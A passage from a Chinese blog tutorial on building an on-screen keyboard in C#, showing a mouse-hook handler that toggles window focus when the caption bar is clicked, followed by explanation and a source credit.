 2hook.MouseActivity += HookOnMouseActivity;
 3
 4private void HookOnMouseActivity(object sener, HookEx.MouseExEventArgs e) {
 5    Point location = e.Location;
 6
 7    if (e.Button == MouseButtons.Left) {
 8        Rectangle captionRect = new Rectangle(this.Location, new Size(this.Width, 
 9            SystemInformation.CaptionHeight));
10        if (captionRect.Contains(location)) {
11            NativeMethods.SetWindowLong(this.Handle, KeyboardConstaint.GWL_EXSTYLE,
12                (int)NativeMethods.GetWindowLong(this.Handle, KeyboardConstaint.GWL_EXSTYLE)
13                 & (~KeyboardConstaint.WS_DISABLED));
14            NativeMethods.SendMessage(this.Handle, KeyboardConstaint.WM_SETFOCUS, IntPtr.Zero, IntPtr.Zero);
15        } else {
16           NativeMethods.SetWindowLong(this.Handle, KeyboardConstaint.GWL_EXSTYLE,
17                (int)NativeMethods.GetWindowLong(this.Handle, KeyboardConstaint.GWL_EXSTYLE) | 
18                 KeyboardConstaint.WS_DISABLED);
19        }
20    }
21}

 

鼠标单击标题栏,让屏幕键盘可以接收焦点,并激活,单击其他部分则不激活窗体(如果激活了,其他程序必然取消激活,
输入就无法进行了),这样才可以进行输入,并且保证了可以拖动窗体到其他位置。

至此,一个屏幕键盘程序差不多完成了,能够实现与实际键盘完全同步。至于窗体,按键重绘,以及 Num Lock, Caps Lock,
Scroll Lock 等键盘灯的模拟,这里就不讲了,如果有兴趣,可以下载完整的代码。最后我们的屏幕键盘程序运行的效果如
下图:

C 实现屏幕键盘 (ScreenKeyboard) - 乂乂 - 一个人,一支烟 ·~~

点击下载完整源代码

 说明:本程序参考了 Jeffrey Richter 先生的著作 CLR via C#, Second Edition, MSDN 以及一些网络资料。

这是微软技术的一贯特点,使用简单。但是如果要深入的话,还是要投入不少精力的

【from 优哉@游哉 http://www.cnblogs.com/youzai/archive/2008/05/19/1202732.html

LOFTER

让兴趣,更有趣

简单随性的记录
丰富多彩的内容
让生活更加充实

下载移动端
关注最新消息